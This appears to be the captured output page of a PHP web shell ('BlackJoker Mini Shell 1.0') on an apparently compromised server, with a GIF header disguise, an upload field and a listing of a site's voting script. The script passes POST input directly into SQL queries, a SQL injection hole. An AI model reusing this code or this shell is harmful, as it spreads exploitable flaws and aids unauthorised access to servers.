GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/ajax_love.php

<? session_start();

 include("lib/globals.php");

 include("lib/common.php");

 include("lib/functions.php");

 ?>


<?

$ip=$_SERVER['REMOTE_ADDR']; 

if($_POST['id'])
{
$id=$_POST['id'];

$ip_sql="select ip_add from image_ip where img_id_fk='$id' and ip_add='$ip' and votedate='$date'";
$row_ip=execute_query($ip_sql);
$count=mysql_num_rows($row_ip);

if($count==0)
{
$usefull_rv="SELECT * From parlor_review WHERE id='$id'";
$res_rv=execute_query($usefull_rv);
$row_rv=mysql_fetch_array($res_rv);
$usefulreview=$row_rv['useful_review']+1;
$sql = "update parlor_review set useful_review=$usefulreview where id='$id'";
mysql_query( $sql);
$sql_in = "insert into image_ip (ip_add,img_id_fk,votedate) values ('$ip','$id','$date')";
execute_query( $sql_in);

/*$result=mysql_query("select love from images where img_id='$id'");
$row=mysql_fetch_array($result);
$love=$row['love'];*/
?>
<span class="on_img" style="color:#F5A713;" align="left">Useful 1</span>


<?
}
else
{ ?>
<span class="on_img" align="left">Useful</span>
<? }?>



<? }

?>

./BlackJoker Mini Shell 1.0